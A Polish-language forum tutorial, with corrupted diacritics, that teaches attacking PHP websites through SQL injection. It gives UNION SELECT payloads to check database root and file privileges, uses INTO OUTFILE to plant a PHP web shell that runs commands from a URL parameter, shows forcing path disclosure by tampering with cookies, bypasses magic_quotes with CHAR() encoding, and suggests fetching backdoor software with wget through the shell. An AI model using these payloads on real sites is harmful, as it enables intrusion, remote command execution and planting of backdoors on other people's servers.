Tutek mojego autorstwa, proszê o przeniesienie do "tutoriale"
Tutorial nie jest pisany dla ¿ó³todziobów musisz posiadaæ podstawow± wiedzê na temat PHP i jêzyka SQL.
1.Musimy znale¼æ pe³n± ¶cie¿kê bie¿±cego u¿ytkownika.
2.Musimy sprawdziæ, czy serwer ma "magiczne cudzys³owia".
3.Skrypt musi wykonywaæ siê na koncie ROOTA.
Na pocz±tku trzeba wyjasniæ kilka podsatwowych rzeczy. Po pierwsze musimy dowiedzieæ siê, czy nasz u¿ytkownik jest rootem (u¿ytkownik na którym dzia³a skrypt storny) mo¿na
zrobiæ za pomoc± nastêpuj±cego zapytania:
przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,user,6,7,8,9,10,11,12,13 from mysql.user—
Jak ju¿ mówi³em art nie jest skierowany do ludzi zielonych mogê powiedzieæ tylko, ¿e polecenie union s³u¿y do tego by zamieniæ tabelki w bazie danych np, mamy taki uk³ad w bazie danych do którego skrypt siê odwo³uje przy logowaniu
ID,USER,PASSWORD,MAIL,STATUS Polecenie union pozwala np zamieniæ nam "ID" z REKORDAMI O NAZWIE "PASSWORD". Wiêc je¶li mamy podatno¶æ w skrypcie np newsów które wy¶wietlaj± ID newsa dziêki temu po wykorzystaniu b³êdu bêdziemy mogli widzieæ np HASLO to tak w ramach przypomnienia bo ten tutorial nie dotyczy wy¶wietlania has³a tylko ³adowania pliku na serwer.
Wiêc za³ó¿my teraz, ¿e po wykorzystaniu tego kodu okazuje siê, ¿e skrypt siedzi na koncie root,
Teraz, gdy wiemy, ¿e to jest root, mo¿emy sprawdziæ swoje uprawnienia za pomoc± nastêpuj±cej "komendy" a raczej zapytania
przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,concat_ws(‘:’,user,file_priv),6,7,8,9,10,1 1,12,13—
Je¶li wy¶wietli nam siê nazwa u¿ytkownika który jest rootem bêdzie wygl±da³o to tak:
ktos/Y
A je¶li jest rootem to bêdziemy mogli korzystaæ z INTO OUTFILE i za³adowaæ pow³okê (shella), teraz trzeba kontynuowaæ i zobaczyæ, czy mo¿emy znale¼æ pe³n± ¶cie¿kê by móc za³adowaæ pow³okê.
S³ów pare o INTO OUTFILE pozwala to utworzyæ plik na serwerze z parametru URL mo¿emy podaæ zawarto¶æ tego pliku czyli w naszym wypadku skryptu shella.
Jedynym warunkiem jest podanie pe³nej scie¿ki do pliku zaczynaj±c od katalogu domowego w systemie LINUX (zak³adamy ze storna stoi na linuxie) który nazywa siê HOME
przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,”TUTAJ OSADZMY KOD ZAWARTOSCI PLIKU SHELL.php”,6,7,8,9,10,11,12,13 INTO OUTFILE /home/ktos/public_html/shell.php--
/home/ nazwa katalogu domowego
/ktos/ nazwa uzytkowniak
/public_html/ tutaj le¿± wszystkie pliki na serwerze
/shell.php nasz wygenerowany srkypt
Wiêc umie¶æmy tam prosty kod który da nam przej±æ "w³adze nad systemem na stronie"
przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4, “<?php system($_GET['komenda']); ?>”,6,7,8,9,10,11,12,13 INTO OUTFILE “/home/ktos/public_html/shell.php—
Co nam do daje?
$_GET['komenda'] - jest to jak wiadomo tablica która przechowuje jakie¶ dane z parametru URL
funkcja system, jest to standardowa funkcja w PHP która pozwala z poziomu www sterowaæ pow³ok±.
Po utworzeniu tego kodu w pliku shell.php pojawi siê ta zawarto¶æ
<?php system($_GET['komenda']); ?>
jak to wykorzystaæ?
Skoro wiemy, ¿e plik shell.php jest ju¿ na serwerze musimy siê do niego odwo³aæ i wywo³aæ polecenie z parametru URL poprzez $_GET
<?php system($_GET['komenda']); ?>
Robimy to tak
przykladowastorna.pl/shell.php?komenda=ls
Co nam to da³o po znaku zapytania odwo³ujemy siê do tablicy o nazwie komenda do której wprowadza siê dane jakie ma wykonaæ funkcja system po znaku "=" wpisujemy tê komenda, w przyk³adzie u¿y³em "LS" jest to podstawow± komenda w systemach linuksowych którzy odpowiada w windowsie komendzie "dir" czyli wy¶wietlania listy plików w danym katalogu.
W efekcie uzyska³em taki wynik:
46 Dinitrol 7250 can 5l c.jpg
plik.pdf
plik2.pdf
blednyskrypt.php
shell.php
index.php
obrazki.jpg
Czyli liste plików w poleceniu mo¿na wpisywaæ wszystko np mo¿na u¿yæ programu wget do sci±gniecia jakiego¶ oprogramowania backdoora itd.
Ok nic nie powiedzia³em na temat tego jak uzyskaæ pe³na scie¿kê dostêpu o której pisa³em powy¿ej.
Bêdziemy musieli skorzystaæ do tego z wtyczki która jest np do firefoxa o nazwie live http headers znajdziesz j± na google.
S³u¿y ona do tego by przechwytywaæ zapytania HTTP czyli to co przesy³a siê do serwera w momencie ³adowania strony.
Otwieramy live http headers i szukamy czego¶ takiego po od¶wie¿eniu strony
PHPSESSID=32932930229303290
albo
Cookie:blablblablablabla
Klikamy na które¶ z tych za pomoc± przycisku edit o ile dobrze pamiêtam, po czym wpisujemy tam warto¶c "0" nastêpnie naciskamy replay. Serwer prze³aduje skrypt i wy¶wietli b³±d ze wzglêdu na to, ¿e dosta³ nieprawid³owe dane i przy okazji wy¶wietli pe³n± scie¿kê do katalogu home/ktos/public_html ...
Oczywi¶cie ta sztuczka nie zadzia³a zawsze bo zale¿ne jest to od konfiguracji serwera.
Druga rzecz bardzo wa¿na o której nie wspomnia³em jest pewne zabezpieczenie w konfiguracji PHP nazywa siê Magic_Quotes je¶li ustawiona jest na tryb w³±czony na serwerze.
To zacznie ona ucinaæ przychodz±ce dane od skryptu je¶li napotka znaki specjalne takie jak <,/,? i zamieni na \<\/\? w których umie¶cili¶my tagi zwi±zane z php. Wiêc skrypt nie zapisze siê na serwerze
A robi±c shella w³a¶nie tak zrobili¶my wpisali¶my znaki specjalne tworz±c kod
<?php system($_GET['komenda']); ?> w efekcie je¶li zak³adamy, ¿e serwer u¿ywa magic_quotes
to w skrypcie zapisz siê <\?php system($_GET['komenda'\]); \?> co¶ takiego mniej wiêcej i skrypt siê nie wykona.
Musimy uciec siê do pewnego podstêpu.
Ka¿da przegl±darka internetowa oprócz czytania zwyk³ych znaków potrafii równie¿ odczytywaæ tablice znaków ASCII
przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4, CHAR(60,63) “system($_GET[‘koemnda’]); “ CHAR(63,62),6,7,8,9,10,11,12,13 INTO OUTFILE “/home/ktos/public_html/shell.php--
Polecenia CHAR rozkazuje przegl±darce przeczytanie tego co jest w nawiasach (63, 62)
a jest tam ukryte w pierwszym nawiasie "<?" czyli kod rozpoczynaj±cy dzia³anie skryptu PHP a on zawiera znaki specjalne natomiast jest ukryty wiêc magic_quotes go nie wy³apie
natomiast drugi nawias CHAR(63,62) zawiera ukryte "?>" czyli zamykanie kodu php
i w efekcie skrypt utworzy siê poprawnie.